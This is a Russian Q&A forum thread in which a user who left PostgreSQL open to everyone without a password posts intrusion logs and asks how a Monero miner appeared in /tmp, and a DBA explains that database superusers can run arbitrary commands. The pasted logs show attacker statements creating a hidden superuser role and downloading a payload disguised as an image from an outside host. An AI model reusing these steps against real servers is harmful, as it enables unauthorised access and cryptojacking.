Как работает вирус monero распространяемый через postgresql?

Открыл я как-то postgesql сервер на все соединения 0.0.0.0/0 trust т.е. заходи кто хочешь без пароля.
И вот что появилось в логах

[18419-1] postgres@postgres ERROR: large object 4000006040 does not exist
[18419-2] postgres@postgres STATEMENT: select lo_unlink(4000006040)
[18419-3] postgres@postgres ERROR: function obj4000006040(bigint, unknown) does not exist at character 8
[18419-4] postgres@postgres HINT: No function matches the given name and argument types. You might need to add explicit type casts.
[18419-5] postgres@postgres STATEMENT: select obj4000006040(4000006040, './tmp4000006040');
WARNING: you should run this program as super-user.
WARNING: output may be incomplete or inaccurate, you should run this program as super-user.
[18419-6] postgres@postgres ERROR: role "e894c9c8" already exists
[18419-7] postgres@postgres STATEMENT: CREATE ROLE E894C9C8 LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE REPLICATION VALID UNTIL 'infinity';
[18419-8] postgres@postgres ERROR: role "e894c9c8" already exists
[18419-9] postgres@postgres STATEMENT: CREATE ROLE E894C9C8 LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';
img1.imagehousing.com/0/art-981754.png
Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.181.36, 104.27.180.36, 2400:cb00:2048:1::681b:b424, ...
Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.181.36|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 517120 (505K) [image/png]
Saving to: ‘flagdspo.jpg’

0K .......... .......... .......... .......... .......... 9% 40.9M 0s
50K .......... .......... .......... .......... .......... 19% 89.3M 0s
100K .......... .......... .......... .......... .......... 29% 66.1M 0s
150K .......... .......... .......... .......... .......... 39% 137M 0s
200K .......... .......... .......... .......... .......... 49% 65.9M 0s
250K .......... .......... .......... .......... .......... 59% 77.2M 0s
300K .......... .......... .......... .......... .......... 69% 88.6M 0s
350K .......... .......... .......... .......... .......... 79% 83.7M 0s
400K .......... .......... .......... .......... .......... 89% 136M 0s
450K .......... .......... .......... .......... .......... 99% 76.2M 0s
500K ..... 100% 143M=0.006s

(77.4 MB/s) - ‘flagdspo.jpg’ saved [517120/517120]

496464+0 records in
496464+0 records out
496464 bytes (496 kB, 485 KiB) copied, 0.554038 s, 896 kB/s
[29796-10] postgres@postgres ERROR: role "pgsql" does not exist
[29796-11] postgres@postgres STATEMENT: DROP USER pgsql;

В папке /tmp/ появился файл 4000006040 который является monero клиентом скаченным с официального репозитория в гитхаб.

Вопрос собственно что это за команды, и как этот файл там появился, из логов я не совсем понимаю что за функция obj4000006040, ее наличие все бы прояснило. В интернете не нашел описания такого метода распространения.
  • Вопрос задан
  • 715 просмотров
Решения вопроса 1
Melkij
@Melkij
PostgreSQL DBA
Всё очевидно:
суперпользователь базы - лицо доверенное и база доверяет этому пользователю. И суперпользователь множеством хитрых и не очень способов способен сделать с сервером на котором запущена база всё на что хватит прав у пользователя, от которого запущен postgres.
Например, запустить любую произвольную команду даже простой и очевидной командой copy, не говоря уже о каких-то извращениях.

Конкретная атака по-видимому уже разобрана и описана вот тут: https://habrahabr.ru/post/351452/

Никогда не используйте trust, уж тем более в мир. В нормальном состоянии база вообще не должна быть открыта в мир.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы